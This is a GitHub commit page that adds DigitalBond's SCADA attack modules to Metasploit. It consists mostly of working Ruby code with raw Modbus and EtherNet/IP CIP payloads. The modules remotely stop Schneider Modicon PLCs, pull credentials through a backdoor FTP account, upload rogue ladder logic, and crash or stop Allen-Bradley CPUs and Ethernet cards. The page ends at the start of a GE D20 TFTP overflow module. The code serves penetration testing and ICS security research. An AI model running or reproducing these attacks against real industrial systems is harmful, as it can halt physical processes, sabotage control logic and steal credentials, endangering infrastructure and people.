Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

Adding DigitalBond SCADA modules

  • Loading branch information...
commit 6c87dfa8bfa3d66c277296c9bf23dff87b49f5d6 1 parent 662e28f
@todb todb authored
View
BIN  data/exploits/modicon_ladder.apx
Binary file not shown
View
181 modules/auxiliary/admin/scada/modicon_command.rb
@@ -0,0 +1,181 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::Tcp
+ include Rex::Socket::Tcp
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Schneider Modicon remote START/STOP command',
+ 'Description' => %q{
+ The Schneider Modicon with Unity series of PLCs use Modbus function
+ code 90 (0x5a) to perform administrative commands without authentication.
+ This module allows a remote user to change the state of the PLC between
+ STOP and RUN, allowing an attacker to end process control by the PLC.
+
+ This module is based on the original 'modiconstop.rb' Basecamp module from
+ DigitalBond.
+ },
+ 'Author' =>
+ [
+ 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
+ 'todb' # Metasploit fixups
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
+ ],
+ 'Version' => '$Revision$',
+ 'DisclosureDate' => 'Apr 5 2012',
+ ))
+ register_options(
+ [
+ OptEnum.new("MODE", [true, 'PLC command', "STOP",
+ [
+ "STOP",
+ "RUN"
+ ]
+ ]),
+ Opt::RPORT(502)
+ ], self.class)
+
+ end
+
+ # this is used for building a Modbus frame
+ # just prepends the payload with a modbus header
+ def makeframe(packetdata)
+ if packetdata.size > 255
+ print_error("packet too large, sorry")
+ print_error("Offending packet: " + packetdata)
+ return
+ end
+ payload = ""
+ payload += [@modbuscounter].pack("n")
+ payload += "\x00\x00\x00" #dunno what these are
+ payload += [packetdata.size].pack("c") # size byte
+ payload += packetdata
+ end
+
+ # a wrapper just to be sure we increment the counter
+ def sendframe(payload)
+ sock.put(payload)
+ @modbuscounter += 1
+ r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
+ return r
+ end
+
+ # This function sends some initialization requests
+ # I have no idea what these do, but they seem to be
+ # needed to get the Modicon chatty with us.
+ # I would make some analogy to 'gaming' in the
+ # bar-dating scene, but I'll refrain.
+ def init
+ payload = "\x00\x5a\x00\x02"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x01\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x03\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x03\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x01\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x0a\x00"
+ (0..0xf9).each { |x| payload += [x].pack("c") }
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
+ payload += "USER-714E74F21B" # Yep, really
+ #payload += "META-SPLOITMETA"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x12"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x12"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x02"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
+ sendframe(makeframe(payload))
+ end
+
+ def stop
+ payload = "\x00\x5a\x01\x41\xff\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ end
+
+ def start
+ payload = "\x00\x5a\x01\x40\xff\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ end
+
+ def cleanup
+ end
+
+ def run
+ @modbuscounter = 0x0000 # used for modbus frames
+ connect
+ init
+ case datastore['MODE']
+ when "STOP"
+ stop
+ when "RUN"
+ start
+ else
+ print_error("Invalid MODE")
+ return
+ end
+ end
+end
View
224 modules/auxiliary/admin/scada/modicon_password_recovery.rb
@@ -0,0 +1,224 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'net/ftp' # TODO: Update this with a proper FTP server implementation
+
+class Metasploit3 < Msf::Auxiliary
+ include Msf::Exploit::Remote::Ftp
+ include Msf::Auxiliary::Report
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Schneider Modicon Quantum Password Recovery',
+ 'Description' => %q{
+ The Schneider Modicon Quantum series of Ethernet cards store usernames and
+ passwords for the system in files that may be retrieved via backdoor access.
+
+ This module is based on the original 'modiconpass.rb' Basecamp module from
+ DigitalBond.
+ },
+ 'Author' =>
+ [
+ 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
+ 'todb' # Metasploit fixups
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
+ ],
+ 'Version' => '$Revision$',
+ 'DisclosureDate'=> 'Jan 19 2012',
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(21),
+ OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
+ OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']),
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])
+ ], self.class)
+
+ end
+
+ # FIXME: This is required since there's no Rex Socket yet (will be
+ # part of a full FTP client implementation)
+ def ip
+ Rex::Socket.resolv_to_dotted(datastore['RHOST'])
+ end
+
+ def check_banner
+ banner == "220 FTP server ready.\r\n"
+ end
+
+ # TODO: If the username and password is correct, but this /isn't/ a Modicon
+ # device, then we're going to end up storing HTTP credentials that are not
+ # correct. If there's a way to fingerprint the device, it should be done here.
+ def check
+ return true unless datastore['RUN_CHECK']
+ is_modicon = false
+ vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
+ connect rescue nil
+ if sock
+ # It's a weak fingerprint, but it's something
+ is_modicon = check_banner()
+ disconnect
+ else
+ print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
+ return false
+ end
+ if is_modicon
+ print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
+ else
+ print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
+ end
+ return is_modicon
+ end
+
+ def run
+ if check()
+ if setup_ftp_connection()
+ grab()
+ end
+ end
+ end
+
+ def setup_ftp_connection
+ vprint_status "#{ip}:#{rport} - FTP - Connecting"
+ if connect_login()
+ print_status("#{ip}:#{rport} - FTP - Login succeeded")
+ report_auth_info(
+ :host => ip,
+ :port => rport,
+ :proto => 'tcp',
+ :user => user,
+ :pass => pass,
+ :ptype => 'password_ro',
+ :active => true
+ )
+ return true
+ else
+ print_status("#{ip}:#{rport} - FTP - Login failed")
+ return false
+ end
+ end
+
+ def cleanup
+ disconnect rescue nil
+ data_disconnect rescue nil
+ end
+
+ # Echo the Net::FTP implementation
+ def ftp_gettextfile(fname)
+ vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
+ data_connect("A")
+ res = send_cmd_data(["GET", fname.to_s], nil, "A")
+ end
+
+ def grab
+ logins = Rex::Ui::Text::Table.new(
+ 'Header' => "Schneider Modicon Quantum services, usernames, and passwords",
+ 'Indent' => 1,
+ 'Columns' => ["Service", "User Name", "Password"]
+ )
+ httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
+ if httpcreds
+ print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
+ else
+ print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
+ end
+ ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
+ if ftpcreds
+ print_status "#{ip}:#{rport} - FTP - password retrieval: success"
+ else
+ print_error "#{ip}:#{rport} - FTP - password retrieval error"
+ end
+ writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
+ if writecreds
+ print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
+ else
+ print_error "#{ip}:#{rport} - FTP - Write password error"
+ end
+ if httpcreds
+ httpuser = httpcreds[1].split(/[\r\n]+/)[0]
+ httppass = httpcreds[1].split(/[\r\n]+/)[1]
+ else
+ # Usual defaults
+ httpuser = "USER"
+ httppass = "USER"
+ end
+ print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
+ logins << ["http", httpuser, httppass]
+ report_auth_info(
+ :host => ip,
+ :port => 80,
+ :sname => "http",
+ :user => httpuser,
+ :pass => httppass,
+ :active => true
+ )
+ logins << ["scada-write", "", writecreds[1]]
+ if writecreds # This is like an enable password, used after HTTP authentication.
+ report_note(
+ :host => ip,
+ :port => 80,
+ :proto => 'tcp',
+ :sname => 'http',
+ :ntype => 'scada.modicon.write-password',
+ :data => writecreds[1]
+ )
+ end
+
+ if ftpcreds
+ # TODO:
+ # Can we add a nicer dictionary? Revershing the hash
+ # using Metasploit's existing loginDefaultencrypt dictionary yields
+ # plaintexts that contain non-ascii characters for some hashes.
+ # check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
+ # for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
+ # and it can be done in just a few lines of ruby.
+ # See https://github.com/cvonkleist/vxworks_hash
+ modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
+ modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
+ else
+ modicon_ftpuser = "USER"
+ modicon_ftppass = "USERUSER" #from the manual. Verified.
+ end
+ print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
+ # The collected hash is not directly reusable, so it shouldn't be an
+ # auth credential in the Cred sense. TheLightCosine should fix some day.
+ # Can be used for telnet as well if telnet is enabled.
+ report_note(
+ :host => ip,
+ :port => 21,
+ :proto => 'tcp',
+ :sname => 'ftp',
+ :ntype => 'scada.modicon.ftp-password',
+ :data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
+ )
+ logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]
+
+ # Not this:
+ # report_auth_info(
+ # :host => ip,
+ # :port => rport,
+ # :proto => 'tcp',
+ # :sname => 'ftp',
+ # :user => modicon_ftpuser,
+ # :pass => modicon_ftppass,
+ # :type => 'password_vx', # It's a hash, not directly usable, but crackable
+ # :active => true
+ # )
+ print_line logins.to_s
+ end
+
+end
View
307 modules/auxiliary/admin/scada/modicon_stux_transfer.rb
@@ -0,0 +1,307 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::Tcp
+ include Rex::Socket::Tcp
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
+ 'Description' => %q{
+ The Schneider Modicon with Unity series of PLCs use Modbus function
+ code 90 (0x5a) to send and receive ladder logic. The protocol is
+ unauthenticated, and allows a rogue host to retrieve the existing
+ logic and to upload new logic.
+
+ Two modes are supported: "SEND" and "RECV," which behave as one might
+ expect -- use 'set mode ACTIONAME' to use either mode of operation.
+
+ In either mode, FILENAME must be set to a valid path to an existing
+ file (for SENDing) or a new file (for RECVing), and the directory must
+ already exist. The default, 'modicon_ladder.apx' is a blank
+ ladder logic file which can be used for testing.
+
+ This module is based on the original 'modiconstux.rb' Basecamp module from
+ DigitalBond.
+ },
+ 'Author' =>
+ [
+ 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
+ 'todb' # Metasploit fixups
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
+ ],
+ 'Version' => '$Revision$',
+ 'DisclosureDate' => 'Apr 5 2012',
+ ))
+
+ register_options(
+ [
+ OptString.new('FILENAME',
+ [
+ true,
+ "The file to send or receive",
+ File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
+ ]),
+ OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
+ [
+ "SEND",
+ "RECV"
+ ]
+ ]),
+ Opt::RPORT(502)
+ ], self.class)
+
+ end
+
+ def run
+ unless valid_filename?
+ print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
+ return nil
+ end
+ @modbuscounter = 0x0000 # used for modbus frames
+ connect
+ init
+ case datastore['MODE']
+ when "SEND"
+ writefile
+ when "RECV"
+ readfile
+ end
+ end
+
+ def valid_filename?
+ if datastore['MODE'] == "SEND"
+ File.readable? datastore['FILENAME']
+ else
+ File.writable?(File.split(datastore['FILENAME'])[0].to_s)
+ end
+ end
+
+ # this is used for building a Modbus frame
+ # just prepends the payload with a modbus header
+ def makeframe(packetdata)
+ if packetdata.size > 255
+ print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
+ return
+ end
+ payload = ""
+ payload += [@modbuscounter].pack("n")
+ payload += "\x00\x00\x00" #dunno what these are
+ payload += [packetdata.size].pack("c") # size byte
+ payload += packetdata
+ end
+
+ # a wrapper just to be sure we increment the counter
+ def sendframe(payload)
+ sock.put(payload)
+ @modbuscounter += 1
+ # TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
+ r = sock.recv(65535, 0.1)
+ return r
+ end
+
+ # This function sends some initialization requests
+ # required for priming the Quantum
+ def init
+ payload = "\x00\x5a\x00\x02"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x01\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x03\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x03\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x01\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x0a\x00"
+ (0..0xf9).each { |x| payload += [x].pack("c") }
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
+ payload += "USER-714E74F21B" # Yep, really
+ #payload += "META-SPLOITMETA"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x12"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x12"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x02"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
+ sendframe(makeframe(payload))
+ end
+
+ # Write the contents of local file filename to the target's filenumber
+ # blank logic files will be available on the Digital Bond website
+ def writefile
+ print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
+ blocksize = 244 # bytes per block in file transfer
+ buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
+ fullblocks = buf.length / blocksize
+ if fullblocks > 255
+ print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
+ return
+ end
+ lastblocksize = buf.length - (blocksize*fullblocks)
+ fileblocks = fullblocks
+ if lastblocksize != 0
+ fileblocks += 1
+ end
+ filetype = buf[0..2]
+ if filetype == "APX"
+ filenum = "\x01"
+ elsif filetype == "APB"
+ filenum = "\x10"
+ end
+ payload = "\x00\x5a\x00\x03\x01"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x02"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x02"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x00\x02"
+ sendframe(makeframe(payload))
+ payload = "\x00\x5a\x01\x30\x00"
+ payload += filenum
+ response = sendframe(makeframe(payload))
+ if response[8..9] == "\x01\xfe"
+ print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
+ else
+ print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
+ return
+ end
+ payload = "\x00\x5a\x01\x04"
+ sendframe(makeframe(payload))
+ block = 1
+ block2status = 0 # block 2 must always be sent twice
+ while block <= fullblocks
+ payload = "\x00\x5a\x01\x31\x00"
+ payload += filenum
+ payload += [block].pack("c")
+ payload += "\x00\xf4\x00"
+ payload += buf[((block - 1) * 244)..((block * 244) - 1)]
+ res = sendframe(makeframe(payload))
+ vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
+ if res[8..9] != "\x01\xfe"
+ print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
+ return
+ end
+ # redo this iteration of the loop if we're on block 2
+ if block2status == 0 and block == 2
+ print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
+ block2status = 1
+ redo
+ end
+ block += 1
+ end
+ if lastblocksize > 0
+ payload = "\x00\x5a\x01\x31\x00"
+ payload += filenum
+ payload += [block].pack("c")
+ payload += "\x00" + [lastblocksize].pack("c") + "\x00"
+ payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
+ vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
+ res = sendframe(makeframe(payload))
+ if res[8..9] != "\x01\xfe"
+ print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
+ return
+ end
+ end
+ vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
+ payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
+ sendframe(makeframe(payload))
+ end
+
+ # Only reading the STL file is supported at the moment :(
+ def readfile
+ print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
+ file = File.open(datastore['FILENAME'], 'wb')
+ payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
+ response = sendframe(makeframe(payload))
+ print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
+ block = 1
+ filedata = ""
+ finished = false
+ while !finished
+ payload = "\x00\x5a\x01\x34\x00\x01"
+ payload += [block].pack("c")
+ payload += "\x00"
+ response = sendframe(makeframe(payload))
+ filedata += response[0xe..-1]
+ vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
+ if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
+ finished = true
+ else
+ block += 1
+ end
+ end
+ print_status("#{rhost}:#{rport} - MODBUS - Closing file")
+ payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
+ sendframe(makeframe(payload))
+ file.print filedata
+ file.close
+ end
+
+ def cleanup
+ disconnect rescue nil
+ end
+
+end
View
145 modules/auxiliary/admin/scada/multi_cip_command.rb
@@ -0,0 +1,145 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::Tcp
+ include Rex::Socket::Tcp
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
+ 'Description' => %q{
+ The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
+ implements the protocol. This module implements the CPU STOP command, as well as
+ the ability to crash the Ethernet card in an affected device.
+
+ This module is based on the original 'ethernetip-multi.rb' Basecamp module
+ from DigitalBond.
+ },
+ 'Author' =>
+ [
+ 'Ruben Santamarta <ruben[at]reversemode.com>',
+ 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
+ 'todb' # Metasploit fixups
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
+ ],
+ 'Version' => '$Revision$',
+ 'DisclosureDate' => 'Jan 19 2012'))
+
+ register_options(
+ [
+ Opt::RPORT(44818),
+ # Note that OptEnum is case sensitive
+ OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
+ [
+ "STOPCPU",
+ "CRASHCPU",
+ "CRASHETHER",
+ "RESETETHER"
+ ]
+ ])
+ ], self.class
+ )
+ end
+
+ def run
+ attack = datastore["ATTACK"]
+ print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
+ sid = req_session
+ if sid
+ forge_packet(sid, payload(attack))
+ print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
+ end
+ end
+
+ def forge_packet(sessionid, payload)
+ packet = ""
+ packet += "\x6f\x00" # command: Send request/reply data
+ packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
+ packet += [sessionid].pack("N") # session identifier (4 bytes)
+ packet += payload #payload part
+ begin
+ sock.put(packet)
+ rescue ::Interrupt
+ print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
+ raise $!
+ rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
+ print_error("#{rhost}:#{rport} - CIP - Network error during payload")
+ return nil
+ end
+ end
+
+ def req_session
+ begin
+ connect
+ packet = ""
+ packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
+ packet += "\x04\x00" # encaph_length (2 bytes)
+ packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
+ packet += "\x00\x00\x00\x00" # status code (4 bytes)
+ packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
+ packet += "\x00\x00\x00\x00" # options flags (4 bytes)
+ packet += "\x01\x00" # proto (2 bytes)
+ packet += "\x00\x00" # flags (2 bytes)
+ sock.put(packet)
+ response = sock.get_once
+ if response
+ session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
+ if session_id
+ print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
+ else
+ print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
+ return nil
+ end
+ else
+ raise ::Rex::ConnectionTimeout
+ end
+ rescue ::Interrupt
+ print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
+ raise $!
+ rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
+ print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
+ return nil
+ end
+ return session_id
+ end
+
+ def cleanup
+ disconnect rescue nil
+ end
+
+ def payload(attack)
+ case attack
+ when "STOPCPU"
+ payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
+ "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
+ "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
+ "\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
+ when "CRASHCPU"
+ payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
+ "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
+ "\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
+ when "CRASHETHER"
+ payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
+ "\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
+ when "RESETETHER"
+ payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
+ "\x05\x03\x20\x01\x24\x01\x30\x03"
+ else
+ print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
+ return nil
+ end
+ end
+
+end
View
140 modules/auxiliary/dos/scada/d20_tftp_overflow.rb
@@ -0,0 +1,140 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+##
+# The General Electric D20 (and possibly other devices) have numerous
+# buffer overruns in their TFTP servers and probably other servers.
+# There are many buffer overruns like it, but this one is the D20's
+# TFTP Server transfer-mode overflow.
+# The filename also suffers from an overrun but seems unlikely to be
+# exploitable.
+##
+
+
+require 'msf/core'
+require 'rex/ui/text/shell'
